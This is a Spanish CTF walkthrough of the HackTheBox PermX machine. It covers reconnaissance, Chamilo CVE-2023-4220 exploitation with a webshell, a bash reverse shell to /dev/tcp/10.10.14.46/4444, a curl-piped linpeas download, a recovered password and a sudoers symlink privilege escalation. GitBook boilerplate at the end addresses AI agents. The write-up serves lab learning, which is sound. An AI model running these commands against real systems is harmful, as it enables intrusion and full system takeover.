> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md).

# Resolución de HackTheBox PermX

{% embed url="<https://app.hackthebox.com/machines/PermX>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración de subdominios
* Explotación de Chamilo
* Sistema de enumeración LINpeas
* Escalada de privilegios de sudoers (permisos modificados del archivo /etc/sudoers)
  {% endhint %}

## Reconocimiento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/b81eac32554e9be1629352d52e643a6a9bedc337" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/aea6764f736f3f47b2b19245ba3e9fc0befec142" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts
```

<figure><img src="/files/879acc3f8534c62795185b8786b9ab6d9a5ea1c1" alt="" width="563"><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

<figure><img src="/files/4da957cee75d239ef6e8706240f70108d20c6799" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.23 -oN targeted
```

<figure><img src="/files/52650b4b9bbd57581616a2e596ca81294e3f9b0a" alt="" width="563"><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

<figure><img src="/files/f5b1541884bd811cf303a9e4496dc95cecf9b0b2" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/2249113b7bc4dd878cb7b19db43b823645d50e8b" alt=""><figcaption></figcaption></figure>

**Buscando posibles directorios con Gobuster:**

Usando Gobuster para escanear posibles directorios en el sitio web con el archivo de listado de directorios Medium.

```bash
gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/67eec5633143ed4b84c5dc83cb9ff691086a54c0" alt=""><figcaption></figcaption></figure>

**Búsqueda de directorios con Gobuster:**

Utilice **Gobuster** con un diccionario para encontrar archivos de acceso ocultos.

```bash
gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk
```

<figure><img src="/files/fdfed54f985ab923c5f7f116de6a895a8622602f" alt=""><figcaption></figcaption></figure>

### Enumeración de subdominios

Para enumerar los subdominios de un sitio web usando la herramienta Wfuzz desde la consola, puedes usar el siguiente comando:

{% code fullWidth="true" %}

```bash
wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb
```

{% endcode %}

<figure><img src="/files/59015b4dea1341c0a98a45f8169786ac3264a026" alt=""><figcaption></figcaption></figure>

Asegúrate de actualizar el `/etc/hosts` archivo para incluir los subdominios descubiertos:

<figure><img src="/files/dac69f2fe99d1c8cf3f4cc86d4edd816db34edb3" alt="" width="563"><figcaption></figcaption></figure>

{% embed url="<http://lms.permx.htb/>" %}

<figure><img src="/files/da02fd49f7a2d2270562bb2df15b19f560513cb3" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de Chamilo CMS:

Chamilo presenta una vulnerabilidad, identificada como CVE-2023-4220, que permite la ejecución remota de código (RCE). Para aprovechar esta falla, puedes usar el siguiente script disponible en GitHub:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Clona el repositorio de GitHub:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Realiza una comprobación para ver si la vulnerabilidad está presente en el objetivo:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/d0aeea4b8f085e040e6ed79913a40b43e1679e31" alt=""><figcaption></figcaption></figure>

### Webshell:

Si la vulnerabilidad está presente, inyecta una **Webshell PHP** en Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/d13c75202865981b366f9f04413d8cf0e31f5032" alt=""><figcaption></figcaption></figure>

Una vez inyectada la webshell, podrás ejecutar comandos en la máquina objetivo.

<figure><img src="/files/d4e7755641b042d3d8c4ee6c3d284cfce632d319" alt=""><figcaption></figcaption></figure>

### Shell inversa:

Para establecer una conexión de shell inversa y obtener acceso a la máquina, ejecuta el siguiente comando desde tu terminal:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Luego escucha en el puerto 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/c528423ef2e19965ff17adbbcb4c6aafdc088a33" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

**Enumeración del sistema (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Usamos Linpeas para el reconocimiento de privilegios:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/7dfdc659f0908a69e871a06e61c13ee813a788eb" alt=""><figcaption></figcaption></figure>

**Descubrimiento de un nuevo usuario:**

Durante la enumeración, identificamos un nuevo usuario llamado `mtz`.

<figure><img src="/files/c9bb417e18a8f2c1454561de7858a8577231adf2" alt=""><figcaption></figcaption></figure>

**Recuperación de una contraseña:**

Se encontró la siguiente contraseña:

<figure><img src="/files/f9aa528f73d58e16225d4810c3c2f1ea45484916" alt=""><figcaption></figcaption></figure>

```bash
mtz:03F6lY3uXAP2bkW8
```

<figure><img src="/files/c41c55c5f25811641f927eae0ecdb3fd46d70eee" alt=""><figcaption></figcaption></figure>

#### Flag user.txt:

<figure><img src="/files/564fcf7f6a7e70bf9c9f077f2aac928ea5668fc6" alt=""><figcaption></figcaption></figure>

### Sudoers:

Al ejecutar el `sudo -l` comando, descubrimos que tenemos la capacidad de ejecutar un script como **root**.

```bash
sudo -l
```

<figure><img src="/files/3b2dacb63c1d2da31c686ee3313c895281266755" alt=""><figcaption></figcaption></figure>

Este script Bash modifica los permisos de acceso de un usuario sobre un archivo específico usando ACLs, después de verificar la validez de la ruta y que el objetivo sea realmente un archivo.

<figure><img src="/files/bb451d0b6397e5d1625ce91b70131eef8675f996" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/342f406cfd577b8f2ff5953e3f9d49ecd06cc284" alt=""><figcaption></figcaption></figure>

Finalmente, concedamos al usuario mtz permisos de lectura y escritura sobre el archivo

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

Se produce un error porque el archivo debe estar ubicado en nuestro `/home/mtz` directorio

<figure><img src="/files/ea0905af592f0360d959607abb4d4f9973e6d19a" alt="" width="535"><figcaption></figcaption></figure>

Para resolverlo, una posible solución podría ser crear un enlace simbólico desde un archivo del sistema hacia el `/home/mtz/` directorio y ejecutar el script sobre este enlace.

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="/files/4813a6921909c42120ad93af8c5aa9e0a4df5dd5" alt=""><figcaption></figcaption></figure>

Necesitamos editar el archivo "sudoers/\_link", lo que actualizará el archivo sudoers, para otorgar permisos completos al usuario mtz.

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="/files/d8de458d1c97ac9ab740e1c008fc400b86171705" alt=""><figcaption></figcaption></figure>

### Flag de root : ) <a href="#flag-root" id="flag-root"></a>

<figure><img src="/files/87e1d8bf214bde9445e04b070543b816e039b146" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/aea89b44b528adb15a48158b81e81a7bca2d563b" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
